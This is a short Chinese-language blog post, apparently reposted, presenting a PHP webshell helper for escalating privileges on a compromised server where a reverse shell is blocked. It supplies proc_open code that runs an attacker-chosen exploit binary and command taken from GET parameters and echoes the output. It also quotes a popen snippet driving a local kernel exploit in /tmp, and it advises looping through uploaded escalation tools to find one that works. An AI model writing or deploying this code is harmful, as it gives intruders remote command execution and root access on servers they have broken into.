前言
之前拿到某站的Webshell之后,在提權的時候發現網站不能反彈shell。而且,在滲透的時候經常遇到那種不能反彈shell的,你的提權工具拿上去之后因為沒有交互式的環境,也不知道提權是否成功。因此,寫了一個簡單的工具。需要的朋友們可以參考學習。
方法如下
proce_open()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
// path是提權工具的絕對路徑,例如:/usr/local/htdocs/2.6.18 // cmd是你需要執行的命令,例如:whoami if(isset($_GET['path']) && isset($_GET['cmd'])){ $path = $_GET['path']; $cmd = $_GET['cmd']; $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($path, $descriptorspec, $pipes); if (is_resource($process)) { fwrite($pipes[0],$cmd); fclose($pipes[0]); echo stream_get_contents($pipes[1]); echo stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); $return_value = proc_close($process); } } |
代碼很簡單,不懂的可以看看PHP手冊,popen()
在這里也可以實現相同的效果
另外,有了這個代碼之后,我們以后提權是不是就可以直接把提權工具扔到服務器上面,然后PHP代碼改一改,循環測試哪些提權工具是可用的了。
popen()
這是土司之前一個人發的,代碼原封不動的放在了下面。稍微改一改就能達到上面一樣的效果
1
2
3
4
|
$sucommand = "/tmp/2.6.18-2011"; $fp = popen($sucommand ,"w"); fputs($fp,"echo 22222 > /tmp/sbsbsbsbsbsb11111"); pclose($fp); |
總結
以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作能帶來一定的幫助,如果有疑問大家可以留言交流,謝謝大家對服務器之家的支持。
原文鏈接:http://ecma.io/?p=611